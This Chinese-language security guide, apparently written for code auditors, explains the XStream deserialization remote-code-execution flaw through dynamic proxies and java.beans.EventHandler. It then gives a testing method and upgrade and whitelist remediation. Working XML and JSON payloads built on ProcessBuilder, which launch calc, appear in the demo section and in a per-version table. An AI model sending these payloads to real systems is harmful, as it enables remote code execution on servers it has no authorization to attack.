0x00 XStream介紹和簡單使用
一、介紹
XStream是一個將java對象序列化爲xml以及從xml反序列化爲java對象的開源類庫。使用 XStream 不用任何映射就能實現多數 Java 對象的序列化。在生成的 XML 中對象名變成了元素名,類中的字符串組成了 XML 中的元素內容。使用 XStream 序列化的類不需要實現 Serializable 接口。XStream 是一種序列化工具而不是數據綁定工具,就是說不能從 XML 或者 XML Schema Definition (XSD) 文件生成類。和其他序列化工具相比,XStream 有三個突出的特點:
- XStream 不關心序列化/反序列化的類的字段的可見性。
- 序列化/反序列化類的字段不需要 getter 和 setter 方法。
- 序列化/反序列化的類不需要有默認構造函數。
不需要修改類,使用 XStream 就能直接序列化/反序列化任何第三方類。
二、使用案例
1、POM引入該三方軟件
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.10</version>
</dependency>
2、待序列化的類:
class Person
{
private String name;
private int age;
public Person(String name,int age)
{
this.name=name;
this.age=age;
}
@Override
public String toString()
{
return "Person [name=" + name + ", age=" + age + "]";
}
}
3、使用XStream序列化和反序列化Person類:
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.converters.reflection.ObjectAccessException;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
import com.thoughtworks.xstream.io.xml.DomDriver;
import com.thoughtworks.xstream.mapper.DefaultMapper;
public static void main(String[] args) throws Exception {
/*XML序列化*/
Person person=new Person("張四",19);
XStream xstream = new XStream(new DomDriver());//生成並設置XML解析器
//序列化
String xml = xstream.toXML(person);
System.out.println(xml);
//反序列化
person=(Person)xstream.fromXML(xml);
System.out.println(person);
}
4、輸出:
0x01 XStream動態代理漏洞
一、漏洞演示
演示版本:
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.10</version>
</dependency>
Payload:demo001.xml
<dynamic-proxy>
<interface>com.huawei.XtreamTest.car</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
代碼:
系統中存在的接口
public interface car {
void start();
void run();
void stop();
}
漏洞代碼:
String path = this.getClass().getClassLoader().getResource("demo001.xml").getPath();
InputStream in = new FileInputStream(path);
XStream xs = new XStream();
car c = (car)xs.fromXML(in);
c.run();//觸發動態代理處理程序
運行效果:惡意代碼被執行,計算器被調出
二、基礎知識預備
1、JAVA代理
Java中代理的作用與使用詳見:https://www.jianshu.com/p/f56e123817b5。下面簡單介紹下XStream漏洞產生原因的動態代理機制。
Java中的動態代理依靠反射來實現,代理類和委託類不需要實現同一個接口。委託類需要實現接口,否則無法創建動態代理。代理類在JVM運行時動態生成,而不是編譯期就能確定。
Java動態代理主要涉及到兩個類:java.lang.reflect.Proxy和java.lang.reflect.InvocationHandler。代理類需要實現InvocationHandler接口或者創建匿名內部類,而Proxy用於創建動態代理。我們用動態代理來實現HelloService
package com.huawei.XtreamTest;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
//接口(Subject)
interface HelloService {
void sayHello();
void goodBye();
}
//委託類
class HelloServiceImpl implements HelloService {
@Override
public void sayHello() {
System.out.println("Hello World!");
}
@Override
public void goodBye() {
System.out.println("goodBye!");
}
}
//動態代理類
class HelloServiceDynamicProxy implements InvocationHandler{
private HelloService helloService;
public HelloServiceDynamicProxy(HelloService helloService) {
this.helloService = helloService;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Before say hello...");
Object ret = method.invoke(helloService, args);
System.out.println("After say hello...");
return ret;
}
}
//測試類
public class dynamicProxy {
public static void main(String[] args){
HelloService helloService = new HelloServiceImpl();
InvocationHandler handler = new HelloServiceDynamicProxy(helloService);
HelloService dynamicProxy = (HelloService) Proxy.newProxyInstance(helloService.getClass().getClassLoader(), helloService.getClass().getInterfaces(),handler );
dynamicProxy.sayHello();
dynamicProxy.goodBye();
}
}
運行結果
2、EventHandler類
Java.beans.EventHandler也是實現了InvocationHandler接口的動態代理類處理程序,EventHandler能夠起到監控接口中的方法被調用後執行EventHandler中成員變量指定的方法。其中含有以下成員:
這些成員變量的作用爲:
target:指代委託類
action:代理類調用函數時會調用action指定的方法
下面給個例子:
package com.huawei.XtreamTest;
import java.beans.EventHandler;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
//接口(Subject)
interface HelloService1 {
void sayHello();
void goodBye();
}
//委託類
class HelloServiceImpl1 implements HelloService1 {
@Override
public void sayHello() {
System.out.println("Hello World!");
}
@Override
public void goodBye() {
System.out.println("goodBye!");
}
}
public class EventHandlerTest {
public static void main(String[] args){
HelloService1 hs1 = new HelloServiceImpl1();
//監聽sayHello方法
/* InvocationHandler ih1 = new EventHandler(new java.lang.ProcessBuilder("calc"),"start",null,"sayHello");
HelloService1 dp = (HelloService1) Proxy.newProxyInstance(hs1.getClass().getClassLoader(), hs1.getClass().getInterfaces(),ih1 );
dp.sayHello();
dp.goodBye();*/
//監聽所有委託類的方法,只要委託類的方法被調用直接調用EventHandler中指定的方法
InvocationHandler ih2 = new EventHandler(new java.lang.ProcessBuilder("calc"),"start",null,null);
HelloService1 dp1 = (HelloService1) Proxy.newProxyInstance(hs1.getClass().getClassLoader(), hs1.getClass().getInterfaces(),ih2 );
dp1.sayHello();
dp1.goodBye();
}
}
演示效果:
通過調試,第一次出現計算器,關閉計算機繼續執行後計算機被再次調出。
二、漏洞原理講解
1、XStream動態代理類
此漏洞是因爲XStream提供了一個動態代理的轉換器,允許在反序列化中進行動態代理綁定。
看下一該動態代理轉換器的行爲:
該動態代理轉換器反序列化函數unmashall有四個重要步驟:
1、獲取接口,待代理的接口
2、用Proxy.newProxyInstance函數爲接口創建代理,但是委託類處理程序爲DUMMY。因當前代碼還沒有反序列化處理程序類,先佔位。
3、轉換處理程序類
4、將反序列出來的處理程序類寫入Proxy,之前爲DUMMY
上述流程和前文動態代理描述是一致的。所以,可以設想反序列化數據中通過爲系統中存在的接口進行動態代理,通過反序列化EventHandler處理程序代理接口,則接口調用時就會調用我們反序列化中的EventHandler指定的taget和Action事件。
通過上述的代碼和EventHandler的結構,可以設想如下結構的動態代理類XML結構。
<???>
<interface>com.XXX.XXX</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</???>
此時需要搞清楚,XStream中動態代理類的XML元素的名稱,下面一個動態代理的相關類註釋中表明別名也可用於指代動態代理的實例:
所以最終設想的一個Payload如下:
<dynamic-proxy>
<interface>com.XXX.YYY </interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
該XML被反序列化後的期望是通過XStream提供的動態代理類,反序列化時爲接口設置一個代理的處理程序,該處理程序通過設置taget和action成員達成接口中的程序一旦被調用,就會執行計算器,而事實上是可以的。
2、惡意Payload反序列化過程講解
Payload使用上述XML文件,基於XStream版本號1.4.10。
1、反序列化程序
2、開始反序列化
第一處斷點根據XML根獲取類型,Payload獲取的對象爲動態代理類
3、找到動態代理類反序列化的轉換器,轉換器的工作原理就是使用proxy對象的newProxyInstance函數爲接口進行代理處理器。
通過找到的轉換器通過第二處函數反序列化出動態代理對象
4、最終調用到前文所述的動態代理轉換器,此處不再贅述
5、上述函數退出後,將EventHandler制定的動作綁定到了XML文件設置的接口上,當接口中的函數被調用,就會執行動態代理設置的處理器動作。
3、其他通用payload
適用版本:1.4.5、1.4.6 、1.4.10
Payload如下:demo001.xml
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
Payload代碼:
String path = this.getClass().getClassLoader().getResource("demo001.xml").getPath();
InputStream in = new FileInputStream(path);
XStream xs = new XStream();
xs.fromXML(in);
Payload的核心沒有變化,作爲了SortedSet對象的元素。Payload代碼的區別是無需獲取反序列化出的對象並調用對象的方法,而會直接執行惡意代碼。實際原因是SortedSet內部會自動調用Comparable接口中的compareto方法進行比較,所以Payload XML數據中爲java.lang.Comparable設置了代理處理器,達到反序列化過程中自動觸發時間處理器調用惡意代碼。核心問題代碼:
4、1.4.7-1.4.9無法動態代理漏洞利用的原因
在反射類的轉換器中判斷當前類是否能夠轉換
注意到代碼中特意判斷當前類如果爲EventHandler類型,則無法序列化。
5、1.4.11及以後的版本
可能爲了防止用戶忘記將EventHandler設置黑名單。1.4.11以後的版本,XStream增加了內部的黑名單轉換器,實際效果是EventHandler設置爲了黑名單,直接杜絕了使用XStream反序列化EventHandler。
InternalBlackList類中的的反序列化函數直接是拋出異常
三、XML和JSON對應的PayLoad
版本 |
XML-Payload |
JSON-Payload |
備註 |
<=1.4.6 1.4.10 |
<dynamic-proxy> <interface>com.huawei.XtreamTest.car</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> |
{ "dynamic-proxy": { "interface": "com.huawei.XtreamTest.car", "handler": { "@class": "java.beans.EventHandler", "target": { "@class": "java.lang.ProcessBuilder", "command": [{ "string": "calc" }], "redirectErrorStream": false }, "action": "start" } } } |
需要代理的接口調用接口中的任意方法 |
1.4.5、1.4.6 、1.4.10 |
<sorted-set> <string>foo</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set> |
{ "sorted-set": { "string": "foo", "dynamic-proxy": { "interface": "java.lang.Comparable", "handler": { "@class": "java.beans.EventHandler", "target": { "@class": "java.lang.ProcessBuilder", "command": { "string": "calc" } }, "action": "start" } } } } |
無需代理的接口調用函數,是要反序列化就能執行 |
四、測試方法
1、源碼搜索關鍵字com.thoughtworks.xstream.XStream,確認產品是否使用XStream組件
2、全局.Java文件搜索關鍵詞fromXML,確認是否爲XStream函數調用的地方
3、查看fromXML參數是否外部可控
4、若參數外部可控,查看XStream版本,例如POM文件中確定。
5、根據版本號有不同的問題確認方法:
版本號 |
確認方法 |
1.4.10 |
查看代碼中是否使用了XStream提供的安全機制,重點關注產品是否使用了黑名單函數拒絕EventHandler等危險類,例如:xs.denyTypes(new Class[]{java.beans.EventHandler.class})。其它Gadget中的危險類也需要加入其中,參考其他三方件和XStream的組合漏洞。注:安全框架和黑白名單機制在1.4.10纔出現 |
1.4.7-1.4.9和>=1.4.11 |
XStream本身無問題,這些版本禁用了EventHandler反序列化。但是存在其他三方件的gadget會產生其它問題。參加其他文檔。總之,fromXML若可控且系統中存在已知gadget組件,則是有問題的 |
<=1.4.6 |
若fromXML參數可控,必定是有問題的。查看程序是否實現對獲取的XML數據進行過濾。注意是否過濾XML文件中的EventHandler和已知gadget的危險類元素 |
五、整改和安全編碼建議
1、建議升級到最新版本1.4.11及以上版本
2、並使用XStream提供的安全機制,建議使用其中的白名單機制。代碼如下所示:
denyTypes函數拒絕了EventHandler的反序列化(注1.4.11及以後的版本EventHandler爲內部默認黑名單,無需再次設置,此處只是例子)。denyTypes最低要加入已知gadget危險類。
setupDefaultSecurity設置了一些默認的安全類。
XStream提供的安全機制函數如下(詳情見XSream源碼XStream.java中的相關函數):
白名單設置函數:
黑名單設置函數:
添加默認的白名單